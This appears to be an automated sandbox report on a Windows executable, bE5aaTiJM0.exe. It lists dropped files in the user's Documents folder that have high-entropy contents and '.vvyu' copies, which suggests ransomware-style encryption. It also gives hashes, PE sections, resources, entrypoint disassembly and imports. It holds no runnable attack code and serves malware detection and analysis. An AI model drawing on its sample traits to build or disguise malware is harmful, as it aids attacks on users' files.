Preview:	BNAGM]b.}F...:......%.T1m..-(...]v........MT#. .....M.h...s...?.s'..&.`g.NxKn.....{E7.O.}...BPz#OL...m.p......)...$.....^..u...t.>......4....[..V:.R.P...6.2......tC<.Fi.T.`....nEQ..Sh...'...'M...9J..S3..L.}S.T.i.,.5.........$VR.8Y..(@.0Z.k..N..c?e..l..S..i...K&.......3.B...\e......$S.....&.n.:1.-.....P..XS.h.\.+.B\|...U .....\We...o>wi.......u.+.}......a5Pu.....o3...#.....i...i.Q..or...8......g..g^....T]`.X....P.`R..a.v..j...~yz`....6..;&..)...G~N...y....1........y..g...~2a.o.U.s...I..ou.......~.7N"...yWI[..p[...u......&.?!d_..b..K.....7p........[l.z...e..;...3.q.%....tb.......z..=6+......t.w:......./..A4s.`.ty.j....<.q...t.p[.?.cv.@D.F...x...RV.i......b.,.G.73N..fDom...s.k..4~....Jz..s..pK.<{......'....:.98Z.U......n"<.\:...'8r.*F...6...J[jy.$..pC.....Il.b.....Yf"..%..^%k.....,8.\|.$O._..X.~J]}.5.&G..]...z.Y.rj''.e....N.....}...s.uY.:E.@...N9....\.<!g,80{-6..r.C......Y.X......-.J.:.H..~>.j........s...\..W.<...F.....n......

C:\Users\user\Documents\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868377942557234
Encrypted:	false
SSDEEP:	24:/j2zmtlVA0io8s5zTomhF2YuJnh9HGJbix4ousJ8jT3TsYBsbD:r2YXA0jD5zToSk9hU00sJ8Pw8mD
MD5:	7D5F664B81813CFDCED78EC00EDCE57E
SHA1:	DE4A978D9258A6E50DC3EB6625319B88BC9F97A0
SHA-256:	EEC619C28B872ED804B3694044C75DD6410BB80183F821010AF124713958D0B4
SHA-512:	6165E51D01B3542CA64D80024059FFD420878598FA8B18B06CC6346F83AF7BEA23FD7974F6395E62CD27119EA4DC43F6670B7CD798CB8AA12C1C2E14BC03C54C
Malicious:	false
Preview:	DUUDTTL.S_u......m:.Yq..f>.xk....r./d._...y.....A.....H..p. .u..6}o5..c...iC.....br....4........6.....Em>%.ks......)7.A....:....=\.0.e..v.....k.0.G.......]...P.kW1.. c....[S...a.3M..E....E(U9...FK"e<..2I.B....!..2.%."L.K...(w.B.9......[......(#.....Ii.E..7.w&4.r._.z......'..K.ly.s.Pl....Z.,.K..!..^.......w.]H:c.l&...x....&.X'......s.D...O......r.Y.^.s.s.\|...<;...60...R.....k.E..pXq.!.x.......B........=8...r[...V91....b...;.....n?..9..jF.......=..`k@T._..dZ."ug...^...Ri.oGC_>.....Le....^..9.P.....f.4.0.t.....t':U..B.\|...X8;)%....[(.=....v........{..Fu..Q~..,!q..G.....t7Z[G.].7..T..........5.....AR7.%-........._.'b.5..%..\.}...e..[...~...Q~Ej>....{u..Uhd_Bot.P{7...7<.4..-.6..t.\|.._u6..b.x.x.jrA..^\|5....e....Bj..d:..QY:....H.......8.T.g).p......=...7.-gX..1..jm"X.0.*.V...M.Zg.=Zy..O?3@....@ H.G...4\|...{.T{L.ui.LI..a..i.@...3XA.'..d.3.....6$.Z#r.....d.z/..)\|.(...I.0..j..y..d..;}...Jo...[.....#........,..%..... .E$.29Q...7%..k....P..D....

C:\Users\user\Documents\DUUDTUBZFW.jpg.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868377942557234
Encrypted:	false
SSDEEP:	24:/j2zmtlVA0io8s5zTomhF2YuJnh9HGJbix4ousJ8jT3TsYBsbD:r2YXA0jD5zToSk9hU00sJ8Pw8mD
MD5:	7D5F664B81813CFDCED78EC00EDCE57E
SHA1:	DE4A978D9258A6E50DC3EB6625319B88BC9F97A0
SHA-256:	EEC619C28B872ED804B3694044C75DD6410BB80183F821010AF124713958D0B4
SHA-512:	6165E51D01B3542CA64D80024059FFD420878598FA8B18B06CC6346F83AF7BEA23FD7974F6395E62CD27119EA4DC43F6670B7CD798CB8AA12C1C2E14BC03C54C
Malicious:	false
Preview:	DUUDTTL.S_u......m:.Yq..f>.xk....r./d._...y.....A.....H..p. .u..6}o5..c...iC.....br....4........6.....Em>%.ks......)7.A....:....=\.0.e..v.....k.0.G.......]...P.kW1.. c....[S...a.3M..E....E(U9...FK"e<..2I.B....!..2.%."L.K...(w.B.9......[......(#.....Ii.E..7.w&4.r._.z......'..K.ly.s.Pl....Z.,.K..!..^.......w.]H:c.l&...x....&.X'......s.D...O......r.Y.^.s.s.\|...<;...60...R.....k.E..pXq.!.x.......B........=8...r[...V91....b...;.....n?..9..jF.......=..`k@T._..dZ."ug...^...Ri.oGC_>.....Le....^..9.P.....f.4.0.t.....t':U..B.\|...X8;)%....[(.=....v........{..Fu..Q~..,!q..G.....t7Z[G.].7..T..........5.....AR7.%-........._.'b.5..%..\.}...e..[...~...Q~Ej>....{u..Uhd_Bot.P{7...7<.4..-.6..t.\|.._u6..b.x.x.jrA..^\|5....e....Bj..d:..QY:....H.......8.T.g).p......=...7.-gX..1..jm"X.0.*.V...M.Zg.=Zy..O?3@....@ H.G...4\|...{.T{L.ui.LI..a..i.@...3XA.'..d.3.....6$.Z#r.....d.z/..)\|.(...I.0..j..y..d..;}...Jo...[.....#........,..%..... .E$.29Q...7%..k....P..D....

C:\Users\user\Documents\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84853485335511
Encrypted:	false
SSDEEP:	24:xbU4VRT+00lStsqJ2k0SIQubZj+SJPKsAgToV8Z5i6v5arasbD:xbUu+07tsq4SIQuFj+631oV8RBOamD
MD5:	AB4EC7152BCB238FDBEBDF242A698B40
SHA1:	13BDA01A5809C70BE2AFDFA96CC1605D80BBC34B
SHA-256:	5E466B0344143E071605B59270B5A1FFDB9E4E4C8B216213279F6104B0A64B1B
SHA-512:	D5E71F96DC91A99281EA5122284CE9F98660363F6AF1AF563E4240E28906617427A3B412AE980B30A49CFED7751A8BA4CFADB42793D90355C40AE9042BFBF426
Malicious:	false
Preview:	EEGWX.`..k.....g..r.\|.Zv....".7.:....:{...Y.......!.W<.x(-i.[AOH.\S<W.x{$.{X=.?vI.{.'.1J..j...[.S_.MtX$..h2.c.TD...=...."........n\|ImDl.....?J.s........4_g0..X...V'L...-.fL..x[../......./P\|.ZCA......%.F..d........d..`...6../...deje...2......}......yO..#.U...d.H=..Jz........K.sfn1...[.\.vn'...%.>...b:e)..S......Q-$.6@..J.....c!q.iB...]>........7y..Mr.}..j....~}..SBZ].T.mE..:a'p5...%..C.....O$4....=..O=.\.\~.%......Uz4..e...V1.oR.v......xX@H."Dq.....j....{_jb..#......Y..N-K.B....tENp7F. ....3...O..6.~..NOX......==#....u....~.1.~.#..>.&.T.Z..)...\..y..y.e&.05...V}...f.....6v]...\A...{_q.....&....I...g\.c).....r.D`...ZI2._.(.Zu.??.V.$.M.....y...!...\.........^~...w..Y.f.L..4.bB..;...d.....E.......8...Y.....D._......}..:.j\|..k.9......i...9.b..D(.,(CG...+..d.Q.@...Q..BC...i.1....Rr6b..../..y[..~j#.n....KS.<L..-...$ 6..{......{.}.h...?,u..D.nn.H.&O....6:z\.....;...#z...]..s.K...>.K.ym)....;....^..4..N..:.SYv{q.l.a`...~".Y.%.

C:\Users\user\Documents\EEGWXUHVUG.docx.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84853485335511
Encrypted:	false
SSDEEP:	24:xbU4VRT+00lStsqJ2k0SIQubZj+SJPKsAgToV8Z5i6v5arasbD:xbUu+07tsq4SIQuFj+631oV8RBOamD
MD5:	AB4EC7152BCB238FDBEBDF242A698B40
SHA1:	13BDA01A5809C70BE2AFDFA96CC1605D80BBC34B
SHA-256:	5E466B0344143E071605B59270B5A1FFDB9E4E4C8B216213279F6104B0A64B1B
SHA-512:	D5E71F96DC91A99281EA5122284CE9F98660363F6AF1AF563E4240E28906617427A3B412AE980B30A49CFED7751A8BA4CFADB42793D90355C40AE9042BFBF426
Malicious:	false
Preview:	EEGWX.`..k.....g..r.\|.Zv....".7.:....:{...Y.......!.W<.x(-i.[AOH.\S<W.x{$.{X=.?vI.{.'.1J..j...[.S_.MtX$..h2.c.TD...=...."........n\|ImDl.....?J.s........4_g0..X...V'L...-.fL..x[../......./P\|.ZCA......%.F..d........d..`...6../...deje...2......}......yO..#.U...d.H=..Jz........K.sfn1...[.\.vn'...%.>...b:e)..S......Q-$.6@..J.....c!q.iB...]>........7y..Mr.}..j....~}..SBZ].T.mE..:a'p5...%..C.....O$4....=..O=.\.\~.%......Uz4..e...V1.oR.v......xX@H."Dq.....j....{_jb..#......Y..N-K.B....tENp7F. ....3...O..6.~..NOX......==#....u....~.1.~.#..>.&.T.Z..)...\..y..y.e&.05...V}...f.....6v]...\A...{_q.....&....I...g\.c).....r.D`...ZI2._.(.Zu.??.V.$.M.....y...!...\.........^~...w..Y.f.L..4.bB..;...d.....E.......8...Y.....D._......}..:.j\|..k.9......i...9.b..D(.,(CG...+..d.Q.@...Q..BC...i.1....Rr6b..../..y[..~j#.n....KS.<L..-...$ 6..{......{.}.h...?,u..D.nn.H.&O....6:z\.....;...#z...]..s.K...>.K.ym)....;....^..4..N..:.SYv{q.l.a`...~".Y.%.

C:\Users\user\Documents\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845165083321486
Encrypted:	false
SSDEEP:	24:nnzfKcBsPHvBsuCZU/mMh2BdNtUhHdnD+sYbljOaPnKBMmkPsbD:nzyTP2uC41h2BsHlDtYbljvPKB/kPmD
MD5:	9CB07ABEF7D4406CA50E3BC463016DE7
SHA1:	D7589D57AB84E5463DD56EEF2CC1EFC004F57AE3
SHA-256:	6CA5CD6784C833412059B97D89F208FA0C40B0AB606A0EF95FFB5B39322310E7
SHA-512:	612714B1D3E48DB146D5495E3ECDB9EF4F87505C4B67871C5438BE6220BA6036C0E117D41AADF34C4B20238B12A76B5CB18FE16A5ED47ED632336E1FDF0DBF6D
Malicious:	false
Preview:	EEGWX..HV.V.D)..}...2o.X.Df..4......S.EJ..`.py..7.a..Hc>~i.>....u..DG..........S.e...v.8.]......AY..J...J...&...a..4..?x.S.j..d......i...w._'........~6...CG..<9.bru./....q.).....y...:'713B.A.....9..Jo...PN..`5b...N..k..o.;._B_.Y.sM..q.4C!di..0m>X.P%.>.H...u.v.......nD ..........L..&.}e.+B.......%.~.G...F.4..y+.....7..S......R....n;.L.W.t...V.s.......>..?.s..(...._$..\|...Gq...../...aw.../?.j.D...F...x,ml.d....r.a....;9.6..v.&:.i2U@...~..............zbc=U..4.).....,ZC..S.X..MIc.....=.Pha.....m....V.}A.6.......q.Y.3&>.?.....Ud.P.u..>u.......#..0....>.._..F&.._.Lm...3g;R.X7;..,ZrR......y.+..9..:..l......r.......T.w5.N.\|4%e.b..{].....e........vj.bZ['....t.2..d...W...RqG...F3..........&.V.(J(......5.v..U..! h.&a..l3i...JK...I.....&...`6.;...vQ.].(... J.rC.W1.#..W.,q..5.U...g.L......q.....EQ.. ...zn...k.V4Y+..P,.u.N.`.uw.......z....GWD".C-.'....Z.x.<...k......[H....<...'......`.J.S....t..._..\.>.......#k...1...:HT6...8P!...wU...S....P..E.b2.d.p&..."

C:\Users\user\Documents\EEGWXUHVUG.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845165083321486
Encrypted:	false
SSDEEP:	24:nnzfKcBsPHvBsuCZU/mMh2BdNtUhHdnD+sYbljOaPnKBMmkPsbD:nzyTP2uC41h2BsHlDtYbljvPKB/kPmD
MD5:	9CB07ABEF7D4406CA50E3BC463016DE7
SHA1:	D7589D57AB84E5463DD56EEF2CC1EFC004F57AE3
SHA-256:	6CA5CD6784C833412059B97D89F208FA0C40B0AB606A0EF95FFB5B39322310E7
SHA-512:	612714B1D3E48DB146D5495E3ECDB9EF4F87505C4B67871C5438BE6220BA6036C0E117D41AADF34C4B20238B12A76B5CB18FE16A5ED47ED632336E1FDF0DBF6D
Malicious:	false
Preview:	EEGWX..HV.V.D)..}...2o.X.Df..4......S.EJ..`.py..7.a..Hc>~i.>....u..DG..........S.e...v.8.]......AY..J...J...&...a..4..?x.S.j..d......i...w._'........~6...CG..<9.bru./....q.).....y...:'713B.A.....9..Jo...PN..`5b...N..k..o.;._B_.Y.sM..q.4C!di..0m>X.P%.>.H...u.v.......nD ..........L..&.}e.+B.......%.~.G...F.4..y+.....7..S......R....n;.L.W.t...V.s.......>..?.s..(...._$..\|...Gq...../...aw.../?.j.D...F...x,ml.d....r.a....;9.6..v.&:.i2U@...~..............zbc=U..4.).....,ZC..S.X..MIc.....=.Pha.....m....V.}A.6.......q.Y.3&>.?.....Ud.P.u..>u.......#..0....>.._..F&.._.Lm...3g;R.X7;..,ZrR......y.+..9..:..l......r.......T.w5.N.\|4%e.b..{].....e........vj.bZ['....t.2..d...W...RqG...F3..........&.V.(J(......5.v..U..! h.&a..l3i...JK...I.....&...`6.;...vQ.].(... J.rC.W1.#..W.,q..5.U...g.L......q.....EQ.. ...zn...k.V4Y+..P,.u.N.`.uw.......z....GWD".C-.'....Z.x.<...k......[H....<...'......`.J.S....t..._..\.>.......#k...1...:HT6...8P!...wU...S....P..E.b2.d.p&..."

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858013429900605
Encrypted:	false
SSDEEP:	24:K8V1o84708RP8yZVfu/wPwgIzxmm/RQN+Du2CNVp3tBwnyU2/W9T5+yQlqdNT112:KwgcakwPwT40eN+anNnLwyUXnZQlqdL8
MD5:	972BB2B5F79AD12F31464A83223102F3
SHA1:	7E3434C12387F20F34D26127D2010D8C45320386
SHA-256:	D85C55865DFC4B015D6FD263840E98A866DF491283C06E559BD201E1D58F2021
SHA-512:	7CA897506D4E912018E335786BA4C0A82A815084677AC9BACAA00479C1B45D93B8396E1525E2E73BD40693F60B488F683F921A6FC1AF6D2004AE2FD2BFAAD114
Malicious:	false
Preview:	BJZFP..21...fH......,.......`..-......4CS.c=-.!y$eIyoWY...`9.W#...Iz....4..g..jJ_.l.U....30.....dO..i..w.}.n..Y..S..\|....=..N;K..w....I....:..S.<...C.Z...x..ZR..OL.v^.?Z........W.s..m...j.,-.{..J-..<.T1$S....U.E....Z.,.}........7.>...zt&..A...u..1.2..hA.i..?.i..x%SK...%....>...0...}x.Fg..j...:h..$..G..ug...l.H...xt..#..F7.BW....^........`X........=...9ls.xh.......O.'4.A.#.........=&....R......q....`BQ57.O.\.I...)..i..~V.HaD.}._}..yx.2e2%...]..........@.........X}...A~1....Mp..,..y.7..Z.0+%$...MnmaT.&.C..T.I.@G.X...L...6A+..U6.]5..M....y..(.v3.J.n)f(.UHrp..}.M.z.6.....W.._8..-5.j...P1..9.l.".....A.~...D.3u....Y..m..b..7...h...N.j'.....C).1...8x.t..NN.nnc...r..YvK.K.A#..{;UN.~..R.8...io...M...x..Z6....0..u6.... .bg.".(& .G........Owm.......y...`7...../....S....r.+........?.........I.>..)g._.......T3.}.5..(.../@..h...`g.YO.(...fEz....E..01...?.<...a.~.B?._..e.."~...x.sE...N.v.,.-z.@m.~..=3^.......P..N;.Vz..Q...q....).`p..(

C:\Users\user\Documents\EEGWXUHVUG\BJZFPPWAPT.pdf.vvyu (copy)

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858013429900605
Encrypted:	false
SSDEEP:	24:K8V1o84708RP8yZVfu/wPwgIzxmm/RQN+Du2CNVp3tBwnyU2/W9T5+yQlqdNT112:KwgcakwPwT40eN+anNnLwyUXnZQlqdL8
MD5:	972BB2B5F79AD12F31464A83223102F3
SHA1:	7E3434C12387F20F34D26127D2010D8C45320386
SHA-256:	D85C55865DFC4B015D6FD263840E98A866DF491283C06E559BD201E1D58F2021
SHA-512:	7CA897506D4E912018E335786BA4C0A82A815084677AC9BACAA00479C1B45D93B8396E1525E2E73BD40693F60B488F683F921A6FC1AF6D2004AE2FD2BFAAD114
Malicious:	false
Preview:	BJZFP..21...fH......,.......`..-......4CS.c=-.!y$eIyoWY...`9.W#...Iz....4..g..jJ_.l.U....30.....dO..i..w.}.n..Y..S..\|....=..N;K..w....I....:..S.<...C.Z...x..ZR..OL.v^.?Z........W.s..m...j.,-.{..J-..<.T1$S....U.E....Z.,.}........7.>...zt&..A...u..1.2..hA.i..?.i..x%SK...%....>...0...}x.Fg..j...:h..$..G..ug...l.H...xt..#..F7.BW....^........`X........=...9ls.xh.......O.'4.A.#.........=&....R......q....`BQ57.O.\.I...)..i..~V.HaD.}._}..yx.2e2%...]..........@.........X}...A~1....Mp..,..y.7..Z.0+%$...MnmaT.&.C..T.I.@G.X...L...6A+..U6.]5..M....y..(.v3.J.n)f(.UHrp..}.M.z.6.....W.._8..-5.j...P1..9.l.".....A.~...D.3u....Y..m..b..7...h...N.j'.....C).1...8x.t..NN.nnc...r..YvK.K.A#..{;UN.~..R.8...io...M...x..Z6....0..u6.... .bg.".(& .G........Owm.......y...`7...../....S....r.+........?.........I.>..)g._.......T3.}.5..(.../@..h...`g.YO.(...fEz....E..01...?.<...a.~.B?._..e.."~...x.sE...N.v.,.-z.@m.~..=3^.......P..N;.Vz..Q...q....).`p..(

C:\Users\user\Documents\EEGWXUHVUG\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850364873561436
Encrypted:	false
SSDEEP:	24:nMCBdXb57BUHc/fnrkzwYgBI+etlgfyQe0Cnr2AZl1TCWXGSrBjjjqFV8sbD:nMCBdLpBUXcYgBIXUqmCr2AZPCWWStt+
MD5:	4F6796D8DE4A2640D589FA86DAAF6BF1
SHA1:	13AF9844AD3D7D58F8A56DBA5702E7EFAA9D73B3
SHA-256:	9A33CD910DAE011F289454ED16594A50C369018D1EC6049BEB1A0A6F7C8EF31D
SHA-512:	C588A73FB1273330FBA1ACA1046910883FF5EE1323D0F8EAC143EA002709962B2F646C398B0C4CBACBAA36E2E67B0C9146BF9548648106E246729F4B3E0275F6
Malicious:	false
Preview:	DUUDT. ......h/....$.p.u3......ax.N.3.OP_)yw#.`.....3eF..+.I...'...a.z.>".7~.O.K&fUU.......rQ...J.H.<....n..l.&a_...`.n.ekx.\....2....)..1}..-....6...t..U...(...T.....$}...B\|..u..g.}.......o.-.^<..\|.]...V.hqR.c....?....,.I...8!eFu..1.X..m..^`.>\.H.x.N3......'...9..}X.....rT.Z..F...n.....7..O...L..b.P.e. .......N......._.H.....'..n.p...O.6e..,.X<@S......-.&PJV..Q....3.......a.O..K.........z... ;D_..s.Rj.\|n.B......l!....R.......6# ...w........k0K..tc....x...v.....?.{h...E...w......U...@A...r.4.......q+C.u.3.....H......@..w).._I.L7/\.CF...e..G.(k..Ki....m#...ef.>'.iR.[....5D....@.%A{...<.........<%.8jGd.`...q>m..8.<..bG..sv..."U.,.....M9X...R.M.?..T.../..(..M.....Z.g..+.33....J...v.........}....{5...J#.S.<..?.(..^......b3..s.c.Y.i..P......3K.Z."O..09C.D....@.xi.1....f.....L....+..hv.a._.R.G.+0.-w..........n.d.....-.....&.P....+C........%0.O.rZw....Q..x....s..$.J/.......a..f.G...n/...$.9.Oo7.J......7\.d.......N....I.i.pc.X

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.842662742823055
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	bE5aaTiJM0.exe
File size:	747520
MD5:	5fae11a9ddb49452b6896fd3217e9665
SHA1:	a642378099d0ac4e1dc3e0abe98b12bee1992e1d
SHA256:	12471d61dc844208bdbe23a9749980cf1a40ad45f844449afe55fb0f1cbbda0b
SHA512:	8244571ab072b89fe10c6c8a78b0f3b62c6833054d40b327c51583cc247d1e13f8dbf4e8367ce3672a5c5c14de8b53fcc7969bb6d78f4232ebebe77d460768ac
SSDEEP:	12288:nCqmkJm0QpmFRBBAw356C94EnhtoLWBEmlCW85h1bmyA5qKyr3ty+SqOhUII84ko:n410QpmfBB5UEnhtjroWW/Hro+TICktO
TLSH:	C2F41230B680E433D06791309564CFAD1B7EB912163189C7B7A42B3E6E763C26B25B5F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ADS. .. .. ..V... ..V... ..X... .. +.` ..V... ..V... ..V... .Rich. *.........................PE..L..."V.`...........

File Icon


Icon Hash:	8a9199a9ca8ed2f2

Static PE Info

General

Entrypoint:	0x498440
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x609B5622 [Wed May 12 04:14:26 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	fcbdb87c73dba6603c8b6aba49ea683b

Entrypoint Preview

Instruction
call 00007FF04CA8DB4Bh
jmp 00007FF04CA8717Eh
int3
int3
int3
int3
int3
int3
call 00007FF04CA8732Ch
xchg cl, ch
jmp 00007FF04CA87314h
call 00007FF04CA87323h
fxch st(0), st(1)
jmp 00007FF04CA8730Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FF04CA87301h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FF04CA872F6h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FF04CA872F4h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FF04CA872F7h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FF04CA8DD1Fh
fstp st(0)
fld tbyte ptr [004024AAh]
ret
fstp st(0)
or cl, cl
je 00007FF04CA872FDh
fstp st(0)
fldpi
or ch, ch
je 00007FF04CA872F4h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FF04CA872E9h
fchs
ret
fstp st(0)
jmp 00007FF04CA8DCF5h
fstp st(0)
mov cl, ch
jmp 00007FF04CA872F2h
call 00007FF04CA872BEh
jmp 00007FF04CA8DD00h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
add esp, 00FFFD30h

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa627c	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x212e000	0xd568	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1220	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3660	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1d8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa5d5e	0xa5e00	False	0.9465576723813113	data	7.947102009414188	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa7000	0x20861cc	0x3000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x212e000	0xd568	0xd600	False	0.663898218457944	data	6.505740612537396	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x212e4e0	0xea8	data	Kannada	Kanada
RT_ICON	0x212f388	0x8a8	data	Kannada	Kanada
RT_ICON	0x212fc30	0x568	GLS_BINARY_LSB_FIRST	Kannada	Kanada
RT_ICON	0x2130198	0x25a8	data	Kannada	Kanada
RT_ICON	0x2132740	0x10a8	data	Kannada	Kanada
RT_ICON	0x21337e8	0x988	data	Kannada	Kanada
RT_ICON	0x2134170	0x468	GLS_BINARY_LSB_FIRST	Kannada	Kanada
RT_ICON	0x2134640	0xea8	data	Kannada	Kanada
RT_ICON	0x21354e8	0x8a8	data	Kannada	Kanada
RT_ICON	0x2135d90	0x6c8	data	Kannada	Kanada
RT_ICON	0x2136458	0x568	GLS_BINARY_LSB_FIRST	Kannada	Kanada
RT_ICON	0x21369c0	0x25a8	data	Kannada	Kanada
RT_ICON	0x2138f68	0x10a8	data	Kannada	Kanada
RT_ICON	0x213a010	0x468	GLS_BINARY_LSB_FIRST	Kannada	Kanada
RT_DIALOG	0x213a688	0x78	data
RT_STRING	0x213a700	0x67a	data	French	Switzerland
RT_STRING	0x213ad80	0x464	data	French	Switzerland
RT_STRING	0x213b1e8	0x37c	data	French	Switzerland
RT_GROUP_ICON	0x21345d8	0x68	data	Kannada	Kanada
RT_GROUP_ICON	0x213a478	0x68	data	Kannada	Kanada
RT_VERSION	0x213a4f0	0x194	data
None	0x213a4e0	0xa	data

Imports

DLL

Import

KERNEL32.dll

GetModuleFileNameA, FoldStringA, GetLocalTime, InterlockedDecrement, GetLocaleInfoA, InterlockedCompareExchange, _hwrite, CancelWaitableTimer, GetSystemDirectoryW, CreateEventW, ReadConsoleA, BuildCommDCBA, GetConsoleAliasExesLengthW, SetSystemTimeAdjustment, PeekConsoleInputW, EnumDateFormatsA, CreateFileW, RegisterWaitForSingleObjectEx, LoadLibraryW, VerifyVersionInfoW, WaitNamedPipeA, GetEnvironmentStrings, FindResourceExA, VirtualProtect, GetFirmwareEnvironmentVariableW, BeginUpdateResourceW, WriteConsoleA, EnumCalendarInfoExA, WriteConsoleW, DeleteFileW, FillConsoleOutputCharacterA, GetProcAddress, GetModuleHandleW, GetUserDefaultLCID, FindFirstChangeNotificationA, GetFileAttributesExA, GetCalendarInfoA, SetConsoleTitleA, GetBinaryTypeW, GlobalAlloc, GetComputerNameExA, FindNextFileA, OpenJobObjectA, HeapSize, _lclose, GetComputerNameW, TlsGetValue, SetCalendarInfoW, SetComputerNameA, CreateDirectoryExA, InitializeCriticalSectionAndSpinCount, GetVolumePathNameA, GetProcessHandleCount, GetThreadLocale, GetSystemDefaultLangID, GetCurrentProcess, LoadLibraryA, ReadFile, HeapFree, GetDiskFreeSpaceW, GetProcessHeap, RaiseException, RtlUnwind, MultiByteToWideChar, GetCommandLineW, HeapSetInformation, GetStartupInfoW, EncodePointer, HeapAlloc, GetLastError, IsProcessorFeaturePresent, DecodePointer, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, SetHandleCount, GetStdHandle, GetFileType, DeleteCriticalSection, SetFilePointer, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TerminateProcess, EnterCriticalSection, LeaveCriticalSection, ExitProcess, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, CloseHandle, WriteFile, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapCreate, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, Sleep, SetStdHandle, WideCharToMultiByte, GetConsoleCP, 